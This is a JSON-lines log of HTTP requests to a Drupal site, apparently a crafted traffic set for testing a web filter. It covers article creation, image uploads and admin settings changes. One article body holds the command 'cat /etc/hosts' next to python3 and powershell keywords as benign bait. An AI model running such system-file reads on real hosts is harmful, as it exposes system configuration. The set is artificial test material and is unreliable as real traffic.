{"method": "POST", "target": "/ckeditor5/upload-image/basic_html?token=Sus-IXsV0UwqrRe2_CrWc-iHgk_6pDumClZIZ6i-Wu0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Accept: application/json", "0: text/javascript", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAcXJMZbPBLzalDiX", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryAcXJMZbPBLzalDiX\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\n‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚\r\n------WebKitFormBoundaryAcXJMZbPBLzalDiX--\r\n"}
{"method": "POST", "target": "/node/add/article?element_parents=field_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0Ba7aU6AsCP0MAhK", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214637\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-LT5Y5U-7qf8iSfEX4mtEU7w-26XnFEmjxTB6AGmAKpw\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nHAq_JMl1Tn3xeTNd4PzFsSkcbDhCFjHl2uV2RZpF2H8\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"files[field_image_0]\"; filename=\"python3-diagram.png\"\r\nContent-Type: image/png\r\n\r\n‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" src=\"/sites/default/files/inline-images/photo.png\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_image_0_upload_button\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\n9R7R5tkIUlJUOLq74Y2Ibs3Vzk97sOkPnSer_Xb74Kk\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJyNU0luwzAM_JBln_qBAsmpQJ8Q0Aptq6FERaLSJq-vVG9ZevDJ5HA4JEdwa_qDNx6bdgoqfcKjEQ5vjXGCwQHVx5B8_iyVLZxa8xHfifVpExutHyCauIk8iKWd643btG1tLPTbmAItZSZB4KbjYJV8s9JMybo4wT1xC6SiXMm4vtJsLTppZqkxzXCe8SMJaK3MLine truncated
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/python3-diagram.png.avif?itok=Oi6kqsz7", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=docker-compose.yml", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/node/add/article", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarys6Wog4PIiyr6c8nk", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214637\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-GIwPSC0mk5OfJnBDDPrIGJXA59_fo-i-i4rc6hLJ2zo\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nHAq_JMl1Tn3xeTNd4PzFsSkcbDhCFjHl2uV2RZpF2H8\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_image[0][alt]\"\r\n\r\nA python3 diagram\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n2\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" src=\"/sites/default/files/inline-images/photo.png\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\npython3, powershell, docker-compose.yml\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/python3-notes\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk--\r\n"}
{"method": "GET", "target": "/sites/default/files/styles/wide/public/2026-11/python3-diagram.png.avif?itok=zatrIDi8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214658%26langcode%3Den&tokens%5B%5D=P1IJAagXdZ3uwIjUq2LBL0UYnJGTwcH1OA3KvfqFqg4"}
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{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-vhMpEh9d_WRMwXQqxQWWiugdMAZ9cRfVnudOBsxwQNo&form_token=CXyUg6iH9UxK0n9bFsPllZanXhtbFSoc6km1jtSxrh4&form_id=user_logout_confirm&op=Log+out"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
{"method": "POST", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": "cron_limit=100&minimum_word_size=3&overlap_cjk=1&search_type=node_search&op=Add+search+page&form_build_id=form-h9TNUOku6qlPzCQIfLOM6VobwiD7LjgYKi4l8e6-n8I&form_token=iGIiBHs6fcxoEK9qZxxFkjh3rbC2M9Y2R_JRat7N93c&form_id=search_admin_settings"}
{"method": "GET", "target": "/admin/config/search/pages/add/node_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/config/search/pages/add/node_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages/add/node_search", "Cookie: SESSexample=example-session-value"], "body": "label=ContentContent&id=content&path=node&form_build_id=form-WUJFS4YPNPKnEeJoXCUT_dOzqiNC1753LO8pTBEuVRw&form_token=ttZsmIX1d92dXP47AP1OI3G9wC0R501kWB_G2nlqxTo&form_id=search_page_add_form&op=Save"}
{"method": "POST", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": "cron_limit=100&minimum_word_size=3&overlap_cjk=1&search_type=user_search&op=Add+search+page&entities%5Bcontent%5D%5Bweight%5D=-10&form_build_id=form-zkfBqVKODA5_wbOFsX_3NFPhSC_gnINh2M7rHYmFSwQ&form_token=iGIiBHs6fcxoEK9qZxxFkjh3rbC2M9Y2R_JRat7N93c&form_id=search_admin_settings"}
{"method": "GET", "target": "/admin/config/search/pages/add/user_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/config/search/pages/add/user_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages/add/user_search", "Cookie: SESSexample=example-session-value"], "body": "label=UsersUsers&id=users&path=user&form_build_id=form-qdd4t_ZEijkL16Cm3Mjpt4ADl-oOomMwZAbvMbuCL84&form_token=ttZsmIX1d92dXP47AP1OI3G9wC0R501kWB_G2nlqxTo&form_id=search_page_add_form&op=Save"}
{"method": "GET", "target": "/admin/config/people/accounts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/config/people/accounts", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/people/accounts", "Cookie: SESSexample=example-session-value"], "body": "anonymous=Anonymous&user_register=visitors&user_email_verification=1&user_password_strength=1&user_cancel_method=user_cancel_block&mail_notification_address=&user_mail_register_admin_created_subject=An+administrator+created+an+account+for+you+at+%5Bsite%3Aname%5D&user_mail_register_admin_created_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AA+site+administrator+at+%5Bsite%3Aname%5D+has+created+an+account+for+you.+You+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aname%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_register_pending_approval_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28pending+admin+approval%29&user_mail_register_pending_approval_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AThank+you+for+registering+at+%5Bsite%3Aname%5D.+Your+application+for+an+account+is+currently+pending+approval.+Once+it+has+been+approved%2C+you+will+receive+another+email+containing+information+about+how+to+log+in%2C+set+your+password%2C+and+other+details.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&register_pending_approval_admin_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28pending+admin+approval%29&register_pending_approval_admin_body=%5Buser%3Adisplay-name%5D+has+applied+for+an+account.%0D%0A%0D%0A%5Buser%3Aedit-url%5D&user_mail_register_no_approval_required_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D&user_mail_register_no_approval_required_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AThank+you+for+registering+at+%5Bsite%3Aname%5D.+You+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aname%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_activated_notify=1&user_mail_status_activated_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28approved%29&user_mail_status_activated_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+at+%5Bsite%3Aname%5D+has+been+activated.%0D%0A%0D%0AYou+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aaccount-name%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_blocked_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28blocked%29&user_mail_status_blocked_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+on+%5Bsite%3Aname%5D+has+been+blocked.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_cancel_confirm_subject=Account+cancellation+request+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D&user_mail_cancel_confirm_body=%5Buser%3Adisplay-name%5D%0D%0A%0D%0AA+request+to+cancel+your+account+has+been+made+at+%5Bsite%3Aname%5D.%0D%0A%0D%0AYou+may+now+cancel+your+account+on+%5Bsite%3Aurl-brief%5D+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Acancel-url%5D%0D%0A%0D%0ANOTE%3A+The+cancellation+of+your+account+is+not+reversible.%0D%0A%0D%0AThis+link+expires+in+one+day+and+nothing+will+happen+if+it+is+not+used.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_canceled_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28canceled%29&user_mail_status_canceled_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+on+%5Bsite%3Aname%5D+has+been+canceled.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_password_reset_subject=Replacement+login+informaLine truncated
{"method": "GET", "target": "/media/add/image", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/search", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/access-denied", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/page-not-found", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/comment/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/comment/1/delete", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
